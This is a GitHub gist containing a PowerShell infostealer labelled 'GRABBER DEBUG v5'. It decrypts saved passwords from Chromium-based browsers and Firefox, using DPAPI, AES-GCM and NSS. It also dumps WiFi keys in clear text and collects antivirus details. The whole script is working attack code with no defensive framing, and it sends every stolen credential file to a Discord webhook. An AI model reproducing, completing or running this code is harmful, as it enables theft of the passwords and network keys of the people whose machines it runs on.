Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save Gravity3432/af24b44d3ae5348f992b051c434fc14b to your computer and use it in GitHub Desktop.

Select an option

Save Gravity3432/af24b44d3ae5348f992b051c434fc14b to your computer and use it in GitHub Desktop.
<#
.SYNOPSIS
DEBUG v5 - BCrypt GCM structure fix (tag separate from input).
#>
Add-Type -AssemblyName System.Security
Write-Host "[*] Loading WinSQLite3..."
Add-Type @"
using System;
using System.Runtime.InteropServices;
public static class WinSQLite3 {
const string d = "winsqlite3";
[DllImport(d,EntryPoint="sqlite3_open")]
public static extern IntPtr Open([MarshalAs(UnmanagedType.LPStr)]string f,out IntPtr db);
[DllImport(d,EntryPoint="sqlite3_prepare16_v2")]
public static extern IntPtr Prepare2(IntPtr db,[MarshalAs(UnmanagedType.LPWStr)]string s,int n,out IntPtr stmt,IntPtr t);
[DllImport(d,EntryPoint="sqlite3_step")]
public static extern IntPtr Step(IntPtr stmt);
[DllImport(d,EntryPoint="sqlite3_column_text16")]
static extern IntPtr ColTxt16(IntPtr s,int i);
[DllImport(d,EntryPoint="sqlite3_column_bytes")]
static extern int ColBytes(IntPtr s,int i);
[DllImport(d,EntryPoint="sqlite3_column_blob")]
static extern IntPtr ColBlob(IntPtr s,int i);
[DllImport(d,EntryPoint="sqlite3_finalize")]
public static extern IntPtr Finalize(IntPtr s);
[DllImport(d,EntryPoint="sqlite3_close")]
public static extern IntPtr Close(IntPtr db);
public static string ColStr(IntPtr s,int i){return Marshal.PtrToStringUni(ColTxt16(s,i));}
public static byte[] ColByt(IntPtr s,int i){int l=ColBytes(s,i);byte[]r=new byte[l];if(l>0)Marshal.Copy(ColBlob(s,i),r,0,l);return r;}
}
"@
Write-Host "[+] WinSQLite3 OK"
Write-Host "[*] Loading BCrypt AES-GCM (v5 - fixed GCM struct)..."
Add-Type @"
using System;
using System.Runtime.InteropServices;
public static class BCryptAES {
[StructLayout(LayoutKind.Sequential)]
struct AI{public int cbs,dwv;public IntPtr pn;public int cn;public IntPtr pa;public int ca;public IntPtr pt;public int ct;public IntPtr pm;public int cm;public int caa;public long cd;public uint df;}
[DllImport("bcrypt.dll",CharSet=CharSet.Unicode)]static extern int BCryptOpenAlgorithmProvider(out IntPtr h,string i,string m,uint f);
[DllImport("bcrypt.dll",CharSet=CharSet.Unicode)]static extern int BCryptCloseAlgorithmProvider(IntPtr h,uint f);
[DllImport("bcrypt.dll",CharSet=CharSet.Unicode)]static extern int BCryptSetProperty(IntPtr h,string p,byte[]v,int c,uint f);
[DllImport("bcrypt.dll",CharSet=CharSet.Unicode)]static extern int BCryptGenerateSymmetricKey(IntPtr h,out IntPtr k,IntPtr o,int oc,byte[]s,int sc,uint f);
[DllImport("bcrypt.dll",CharSet=CharSet.Unicode)]static extern int BCryptDecrypt(IntPtr k,byte[]i,int ic,ref AI a,byte[]iv,int ivc,byte[]o,int oc,out int r,uint f);
[DllImport("bcrypt.dll",CharSet=CharSet.Unicode)]static extern int BCryptDestroyKey(IntPtr k);
public static byte[] Decrypt(byte[] key,byte[] nonce,byte[] ct,byte[] tag){
IntPtr ha=IntPtr.Zero,hk=IntPtr.Zero;
int status;
try{
status=BCryptOpenAlgorithmProvider(out ha,"AES",null,0);
if(status!=0)throw new Exception("OpenAlgorithmProvider: 0x"+status.ToString("X8"));
byte[]g=System.Text.Encoding.Unicode.GetBytes("ChainingModeGCM");
status=BCryptSetProperty(ha,"ChainingMode",g,g.Length,0);
if(status!=0)throw new Exception("SetProperty(GCM): 0x"+status.ToString("X8"));
status=BCryptGenerateSymmetricKey(ha,out hk,IntPtr.Zero,0,key,key.Length,0);
if(status!=0)throw new Exception("GenerateSymmetricKey: 0x"+status.ToString("X8"));
// Build auth info: tag is SEPARATE from input (not appended)
AI ai=new AI();
ai.cbs=Marshal.SizeOf(typeof(AI));
ai.dwv=1;
GCHandle nh=GCHandle.Alloc(nonce,GCHandleType.Pinned);
GCHandle th=GCHandle.Alloc(tag,GCHandleType.Pinned);
ai.pn=nh.AddrOfPinnedObject();
ai.cn=nonce.Length;
ai.pt=th.AddrOfPinnedObject();
ai.ct=tag.Length;
// Input = ciphertext ONLY. Output = same size.
byte[]o=new byte[ct.Length];
int rs;
status=BCryptDecrypt(hk,ct,ct.Length,ref ai,null,0,o,o.Length,out rs,0);
nh.Free();th.Free();
if(status!=0)throw new Exception("Decrypt: 0x"+status.ToString("X8"));
byte[]r=new byte[rs];
Array.Copy(o,r,rs);
return r;
}finally{
if(hk!=IntPtr.Zero)BCryptDestroyKey(hk);
if(ha!=IntPtr.Zero)BCryptCloseAlgorithmProvider(ha,0);
}
}
}
"@
Write-Host "[+] BCrypt OK"
function Upload-Discord {
param([string]$file, [string]$text)
$Body = @{ username = $env:username; content = $text }
if ($text) { Invoke-RestMethod -ContentType 'Application/Json' -Uri $DiscordUrl -Method Post -Body ($Body | ConvertTo-Json) }
if ($file) { curl.exe -F "file1=@$file" $DiscordUrl }
}
function Find-LocalState {
param([string]$SearchRoot)
$std = Join-Path $SearchRoot "Local State"
if (Test-Path $std) { return $std }
$found = Get-ChildItem $SearchRoot -Recurse -Depth 2 -Filter "Local State" -ErrorAction SilentlyContinue | Select-Object -First 1
if ($found) { return $found.FullName }
return $null
}
function Get-ChromiumPasswords {
param([string]$BrowserName, [string]$UserDataPath)
$results = @()
Write-Host "[*] $BrowserName : $UserDataPath"
$anyLoginDb = Get-ChildItem $UserDataPath -Recurse -Depth 2 -Filter "Login Data" -ErrorAction SilentlyContinue |
Where-Object { $_.Directory.Name -match "^(Default|Profile \d+)$" } |
Select-Object -First 1
if (-not $anyLoginDb) { Write-Host " [-] No Login Data found"; return $results }
Write-Host " [+] Login Data: $($anyLoginDb.FullName)"
$aesKey = $null
$localState = Find-LocalState -SearchRoot $UserDataPath
if ($localState) {
try {
$json = Get-Content $localState -Raw | ConvertFrom-Json
$b64 = $json.os_crypt.encrypted_key
if ($b64) {
$enc = [Convert]::FromBase64String($b64)
$enc = [byte[]]($enc[5..($enc.Length - 1)])
$aesKey = [System.Security.Cryptography.ProtectedData]::Unprotect(
$enc, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host " [+] AES key: $($aesKey.Length) bytes"
} else { Write-Host " [!] No encrypted_key in Local State" }
} catch { Write-Host " [!] AES key failed: $($_.Exception.Message)" }
} else { Write-Host " [!] No Local State found" }
$loginDbs = Get-ChildItem $UserDataPath -Recurse -Depth 2 -Filter "Login Data" -ErrorAction SilentlyContinue |
Where-Object { $_.Directory.Name -match "^(Default|Profile \d+)$" }
foreach ($loginDb in $loginDbs) {
$profileName = $loginDb.Directory.Name
Write-Host " [*] Profile: $profileName"
$tmpDb = Join-Path $env:TEMP "cdb_$([Guid]::NewGuid()).db"
try {
Copy-Item $loginDb.FullName $tmpDb -Force -ErrorAction Stop
$dbH = [IntPtr]::Zero
if ([WinSQLite3]::Open($tmpDb, [ref]$dbH) -ne 0) { Write-Host " [-] Open fail"; continue }
$stmt = [IntPtr]::Zero
if ([WinSQLite3]::Prepare2($dbH,
"SELECT origin_url, username_value, password_value FROM logins",
-1, [ref]$stmt, [IntPtr]::Zero) -ne 0) {
Write-Host " [-] Prepare fail"
[WinSQLite3]::Close($dbH) | Out-Null; continue
}
$rowCount = 0; $ok = 0; $fail = 0
while (([WinSQLite3]::Step($stmt)) -eq 100) {
$rowCount++
$url = [WinSQLite3]::ColStr($stmt, 0)
$user = [WinSQLite3]::ColStr($stmt, 1)
$passBlob = [WinSQLite3]::ColByt($stmt, 2)
if (-not $passBlob -or $passBlob.Length -lt 15) { continue }
$hdr = [Text.Encoding]::ASCII.GetString($passBlob, 0, 3)
$pass = $null
if (($hdr -eq 'v10' -or $hdr -eq 'v20') -and $aesKey) {
try {
$nonce = [byte[]]($passBlob[3..14])
$ct = [byte[]]($passBlob[15..($passBlob.Length - 17)])
$tag = [byte[]]($passBlob[($passBlob.Length - 16)..($passBlob.Length - 1)])
$plain = [BCryptAES]::Decrypt($aesKey, $nonce, $ct, $tag)
$pass = [Text.Encoding]::UTF8.GetString($plain)
$ok++
} catch {
if ($rowCount -le 3) {
Write-Host " [-] AES row $rowCount`t$($_.Exception.Message)"
}
}
}
if (-not $pass) {
try {
$plain = [System.Security.Cryptography.ProtectedData]::Unprotect(
$passBlob, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
$pass = [Text.Encoding]::UTF8.GetString($plain)
$ok++
} catch { $fail++ }
}
if ($url -and $pass) {
$results += [PSCustomObject]@{Browser=$BrowserName;Profile=$profileName;URL=$url;Username=$user;Password=$pass}
}
}
Write-Host " [*] Rows: $rowCount | OK: $ok | Fail: $fail"
[WinSQLite3]::Finalize($stmt) | Out-Null
[WinSQLite3]::Close($dbH) | Out-Null
} catch { Write-Host " [-] Exception: $($_.Exception.Message)" }
finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue }
}
Write-Host " [*] $BrowserName : $($results.Count) credentials"
return $results
}
function Get-FirefoxPasswords {
$results = @()
$ffProfiles = Join-Path $env:APPDATA "Mozilla\Firefox\Profiles"
Write-Host "[*] Firefox : $ffProfiles"
if (-not (Test-Path $ffProfiles)) { Write-Host " [-] No profiles dir"; return $results }
Write-Host "[*] Loading NSS3..."
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;
public static class NSS {
[DllImport("kernel32.dll")]static extern IntPtr LoadLibrary(string p);
[DllImport("kernel32.dll")]static extern IntPtr GetProcAddress(IntPtr h,string n);
[DllImport("kernel32.dll")]static extern bool FreeLibrary(IntPtr h);
[StructLayout(LayoutKind.Sequential)]public struct SECItem{public uint type;public IntPtr data;public uint len;}
delegate int NSS_InitD(string p);
delegate int SDR_DecryptD(IntPtr d,IntPtr r,IntPtr c);
delegate int NSS_ShutdownD();
static IntPtr hn,hm;
public static bool Init(string ff,string prof){
hm=LoadLibrary(ff+"\\mozglue.dll");hn=LoadLibrary(ff+"\\nss3.dll");
if(hn==IntPtr.Zero)return false;
NSS_InitD init=(NSS_InitD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"NSS_Init"),typeof(NSS_InitD));
return init(prof)==0;
}
public static string Decrypt(string b64){
byte[]d=Convert.FromBase64String(b64);IntPtr dp=Marshal.AllocHGlobal(d.Length);
Marshal.Copy(d,0,dp,d.Length);
SECItem si=new SECItem();si.type=0;si.data=dp;si.len=(uint)d.Length;
IntPtr sp=Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SECItem)));
Marshal.StructureToPtr(si,sp,false);
IntPtr rp=Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SECItem)));
Marshal.WriteInt64(rp,0,0);Marshal.WriteInt64(rp,8,0);Marshal.WriteInt32(rp,12,0);
SDR_DecryptD dec=(SDR_DecryptD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"PK11SDR_Decrypt"),typeof(SDR_DecryptD));
if(dec(sp,rp,IntPtr.Zero)!=0){Marshal.FreeHGlobal(dp);Marshal.FreeHGlobal(sp);Marshal.FreeHGlobal(rp);return null;}
uint ol=(uint)Marshal.ReadInt32(rp,8);IntPtr od=Marshal.ReadIntPtr(rp);
byte[]r=new byte[ol];Marshal.Copy(od,r,0,(int)ol);
Marshal.FreeHGlobal(dp);Marshal.FreeHGlobal(sp);Marshal.FreeHGlobal(rp);
return Encoding.UTF8.GetString(r);
}
public static void Shutdown(){
if(hn!=IntPtr.Zero){
NSS_ShutdownD sd=(NSS_ShutdownD)Marshal.GetDelegateForFunctionPointer(GetProcAddress(hn,"NSS_Shutdown"),typeof(NSS_ShutdownD));
sd();FreeLibrary(hn);
}
if(hm!=IntPtr.Zero)FreeLibrary(hm);
}
}
"@ | Out-Null
Write-Host "[+] NSS3 OK"
$ffDir = Join-Path ${env:ProgramFiles} "Mozilla Firefox"
if (-not (Test-Path $ffDir)) { $ffDir = Join-Path ${env:ProgramFiles(x86)} "Mozilla Firefox" }
if (-not (Test-Path $ffDir)) { Write-Host " [-] FF install not found"; return $results }
foreach ($profDir in Get-ChildItem $ffProfiles -Directory) {
$loginsJson = Join-Path $profDir.FullName "logins.json"
$keyDb = Join-Path $profDir.FullName "key4.db"
Write-Host " [*] $($profDir.Name)"
if (-not (Test-Path $loginsJson) -or -not (Test-Path $keyDb)) { Write-Host " [-] Missing files"; continue }
try {
if (-not [NSS]::Init($ffDir, $profDir.FullName)) { Write-Host " [-] NSS_Init fail"; continue }
$logins = Get-Content $loginsJson -Raw | ConvertFrom-Json
foreach ($l in $logins.logins) {
try {
$u = [NSS]::Decrypt($l.encryptedUsername)
$p = [NSS]::Decrypt($l.encryptedPassword)
$results += [PSCustomObject]@{Browser="Firefox";Profile=$profDir.Name;URL=$l.hostname;Username=$u;Password=$p}
} catch {}
}
[NSS]::Shutdown()
} catch { Write-Host " [-] $($_.Exception.Message)" }
}
Write-Host " [*] Firefox: $($results.Count)"
return $results
}
function Wifi {
Write-Host "[*] WiFi..."
$tmp = Join-Path $env:TEMP "wfb_$([Guid]::NewGuid())"
New-Item -Path $tmp -ItemType Directory -Force | Out-Null
Set-Location $tmp; netsh wlan export profile key=clear | Out-Null
$out = Join-Path $env:TEMP "wifi_passwords.txt"
Select-String -Path *.xml -Pattern 'keyMaterial' |
% { $_ -replace '', '' } |
% { $_ -replace "C:\\Users\\$env:UserName\\Desktop\\", '' } |
% { $_ -replace '.xml:22:', '' } > $out
Upload-Discord -file $out -text ":satellite: WiFi Passwords"
Set-Location $env:TEMP
Remove-Item $tmp -Force -Recurse -ErrorAction SilentlyContinue
Remove-Item $out -Force -ErrorAction SilentlyContinue
Write-Host "[+] WiFi done"
}
function version-av {
Write-Host "[*] AV..."
$f = Join-Path $env:TEMP "av_info.txt"
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct |
Out-File -FilePath $f -Encoding utf8
Upload-Discord -file $f -text ":shield: AV Info"
Remove-Item $f -Force -ErrorAction SilentlyContinue
Write-Host "[+] AV done"
}
function Get-BrowserPasswords {
Write-Host "[*] === BROWSER SCRAPER ==="
$all = @()
$targets = @(
@{N="Chrome"; P="$env:LOCALAPPDATA\Google\Chrome\User Data"}
@{N="Chrome Beta"; P="$env:LOCALAPPDATA\Google\Chrome Beta\User Data"}
@{N="Edge"; P="$env:LOCALAPPDATA\Microsoft\Edge\User Data"}
@{N="Brave"; P="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"}
@{N="Opera"; P="$env:APPDATA\Opera Software\Opera Stable"}
@{N="Opera GX"; P="$env:APPDATA\Opera Software\Opera GX Stable"}
@{N="Vivaldi"; P="$env:LOCALAPPDATA\Vivaldi\User Data"}
@{N="Chromium"; P="$env:LOCALAPPDATA\Chromium\User Data"}
)
foreach ($t in $targets) {
if (Test-Path $t.P) { $all += Get-ChromiumPasswords -BrowserName $t.N -UserDataPath $t.P }
}
$all += Get-FirefoxPasswords
Write-Host "[*] TOTAL: $($all.Count)"
if ($all.Count -eq 0) {
Upload-Discord -text ":key: Browser Passwords : No credentials found."
return
}
$tmp = Join-Path $env:TEMP "browser_passwords.txt"
$all | Sort-Object Browser, URL | % {
"$($_.Browser)|$($_.Profile)|$($_.URL)|$($_.Username)|$($_.Password)"
} | Out-File $tmp -Encoding utf8
$browsers = ($all | Select-Object -ExpandProperty Browser -Unique) -join ', '
Upload-Discord -file $tmp -text ":key: Browser Passwords : $($all.Count) entries ($browsers)"
Remove-Item $tmp -Force -ErrorAction SilentlyContinue
}
Write-Host "=========================================="
Write-Host " GRABBER DEBUG v5"
Write-Host " User: $env:USERNAME | Host: $env:COMPUTERNAME"
Write-Host "=========================================="
version-av
Wifi
Get-BrowserPasswords
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment